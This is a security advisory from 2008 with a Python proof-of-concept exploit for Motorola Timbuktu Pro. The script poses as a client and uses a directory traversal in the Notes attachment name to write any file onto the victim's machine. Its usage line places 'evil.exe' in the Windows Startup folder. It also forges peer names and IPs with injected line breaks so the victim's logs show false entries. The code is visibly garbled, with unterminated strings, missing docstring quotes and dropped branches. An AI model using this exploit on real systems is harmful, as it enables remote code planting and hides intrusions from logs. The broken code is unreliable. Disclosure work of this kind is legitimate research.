Motorola Timbuktu Pro 8.6.5/8.7 - Directory Traversal / Log Injection







# Core Security Technologies - CoreLabs Advisory

# Title: Timbuktu Pro Remote Path Traversal and Log Injection
# Advisory ID: CORE-2008-0204
# Advisory URL:
# Date published: 2008-03-11
# Date of last update: 2008-03-11
# Vendors contacted: Motorola
# Release mode: Forced release

#  Proof of concept code follows. This PoC allows a remote attacker to
# upload a file to an arbitrary location on the victim's machine and forge
# peer information on the log lines of the victim's application.

from sys        import argv
from socket     import *
from struct     import pack

#from utils      import printFormatted
#from time import sleep

init_send_op_packet =   (   '\x00\x01\x60\x00\x00\x52\x00\x25'

second_send_op_packet  = (  '\x00\x01\x61\x00\x00\x52\x00\x25'

peer_info_exchange      = ( '\x00\x01\x62\x00\x00\xb0\x00\x23'

ack_peer_info           =   '\xff'

attach_info_packet      = ('\xfb\x00\x00\x00\x00'

attach_info_ack1        =  '\xf9\x00'

# Transfer file content here !!!
# \xF8 + 2 byte length + data

attach_file_ack1      =  '\xf7'

attach_file_ack2      =  '\xfa'

class Tb2FileSender:
    Fake timbuktu client that implements the 'Notes' feature to send a
    message with a file attached to it.

    def __init__(self, target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content):
        Setup TCP Connection to standard port TCP/407
        self.sck = socket(AF_INET, SOCK_STREAM)
        self.sck.connect((target, 407))
        self.fake_src_ip    = fake_src_ip
        self.fake_hostname  = fake_hostname     # Peer computer name
        self.fake_username  = fake_username     # Peer user name
        self.dest_filename  = dest_filename     # Destination filename including path (like ../../a.exe)
        self.file_content   = file_content      # Content of the destination file

    def sendAndRecv(self, packet, log, expected_response_length=0x500, print_response=False):
        if log:
            print '[-] %s' % log
        if expected_response_length > 0:
            resp = self.sck.recv(expected_response_length)
            if print_response:
                print '-' * 70 + '\n'
            return resp
        return None

    def getPascalString(self, str):
        Format the strings as 1 Byte Length + String.
        return pack('B', len(str)) + str

    def createFakePeerInfoPacket(self):
        Create a packet with forged guest information to avoid giving away
        real info in the log files.
        # Ohhh... by the way, these two names goes diretly to the log file... ehehhee  :) 
        guest_host_name      = self.fake_hostname.replace('\\n', '\r\n')
        guest_user_name      = self.fake_username.replace('\\n', '\r\n')

        username_max_len     = 0x37 # This is not the application real limit,
        hostname_max_len     = 0x3f #   but it is the limit for this packet.

        host_name            = self.getPascalString(guest_host_name)
        user_name            = self.getPascalString(guest_user_name)

        # Pad the string to fill the empty space and avoid packet length recalculation
        host_name           += ('\x00' * (hostname_max_len - len(guest_host_name)))
        user_name           += ('\x00' * (username_max_len - len(guest_user_name)))

        guest_ip_address     = self.fake_src_ip.split('.')
        guest_ip_address     = pack('BBBB', int(guest_ip_address[0]), int(guest_ip_address[1]), int(guest_ip_address[2]), int(guest_ip_address[3]))

        return peer_info_exchange % vars()

    def getAttachContent(self):
        Retrieve the content of the local file and send it as the attach content.
        fd      = open(self.file_content, 'rb')
        data    =
        return data

    def send(self):
        Send a sequence of packet to upload our data to the filename and path
        specified by the user's parameters.

        # Begin protocol negotiation with the target
        self.sendAndRecv(init_send_op_packet,               'Note Operation initial packet sent.')
        self.sendAndRecv(second_send_op_packet,             'Note Operation negotiation packet sent.')

        # Send the packet with our fake info to fool the logs  :) 
        self.sendAndRecv(self.createFakePeerInfoPacket(),   'Peer info packet sent.')
        self.sendAndRecv(ack_peer_info,                     'Ack peer info packet sent.')

        # Setup attachment packets that contain information about the file being transfered
        max_trx_chunk_size  = 0x5B4
        trx_until_resync    = 0x16C5

        payload             = self.getAttachContent()
        payload_length      = len(payload)
        attachment_length   = pack('>L', payload_length)

        # Send info about the attachment.
        # The '\' character is nedded to bypass the application filter.
        # This is actually the Bug !
        attachment_filename  = self.getPascalString('\\' + self.dest_filename.replace('\\', '/'))

        attach_info          = attach_info_packet % vars()

        self.sendAndRecv(attach_info     ,   'Attachment info sent.')
        self.sendAndRecv(attach_info_ack1,   'Attachment intermediate info sent.')

        # Create a list with the chunks to send and prepare their headers is appropriate
        attachment_content   = list()

        # We check if the data to send fits into one set of chunks.
        if payload_length < max_trx_chunk_size:
            attachment_content.append('\xF8' + pack('>H', payload_length) + payload)
            # If the data is bigger than one chunk, then send multiple chunks and their headers.
            curr_pos        = 0     # keeps our current position into the data file content
            resync_chunk    = True  # flag to indicate if a new set of chunk should be set
            pos_in_chunk    = 0     # keeps our position into the current chunk set
            do_recv         = False # flag to indicate if recv is needed to receive target data

            while curr_pos <= payload_length:
                do_recv      = False
                # Is this the last chunk ?
                if curr_pos > 0 and pos_in_chunk != trx_until_resync:
                    # If it is the last chunk, then just set length to the rest of the data
                    if trx_until_resync - pos_in_chunk < max_trx_chunk_size:
                        chunk_length = trx_until_resync - pos_in_chunk
                        do_recv = True
                        # Otherwise, set the data length as usual because it's an intermediate chunk
                        chunk_length = max_trx_chunk_size data         = ''
                    # Start a new set of chunks and check if this is not the last set
                    # If it is, then don't set the maximun size, just the rest of the length.
                    data         = '\xF8'   # Set the chunk set header
                    if payload_length - curr_pos < trx_until_resync:
                        chunk_length = payload_length - curr_pos
                        data        += pack('>H', chunk_length)
                        # This is not the last chunk, so we set the maximun size and begin
                        #   it transmittion.
                        chunk_length = max_trx_chunk_size
                        data        += pack('>H', trx_until_resync) pos_in_chunk = 0

                # Append the current chunk into a list to be sent later
                attachment_content.append((do_recv, data + payload[curr_pos : curr_pos + chunk_length]))
                curr_pos        += chunk_length
                pos_in_chunk    += chunk_length

        # Send file content in small chunks
        print '[-] Beginning file transfer... (this may take some time)'
        for chunk in attachment_content:
            if chunk[0]:
                do_recv = 0x500
                do_recv = 0
            self.sendAndRecv(chunk[1], '', do_recv)
        print '[-] File transfer complete'

        # Send the final ACKs to allow the program to create the remote file.
        self.sendAndRecv(attach_file_ack1,   'Note body intermediate info sent.')
        self.sendAndRecv(attach_file_ack2,   'Note body intermediate info sent.')

        # Close the connection here to avoid the program displaying any message

if __name__ == "__main__":
    if len(argv) != 7:
        print (r'\nUsage:\n\n%s <target> <fake_source_ip> <fake_hostname> '
                '<fake_username> <dest_filename_with_path> <file2upload>\n\n'
                '%s yourAdmin "..\..\..\Documents And Settings\All Users\Start Menu\Programs\Startup\evil.exe" c:\payload.exe' % (argv[0], argv[0]) )
        target          = argv[1]
        fake_src_ip     = argv[2]
        fake_hostname   = argv[3]
        fake_username   = argv[4]
        dest_filename   = argv[5]
        file_content    = argv[6]

        tb2 = Tb2FileSender(target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content)

# [2008-03-11]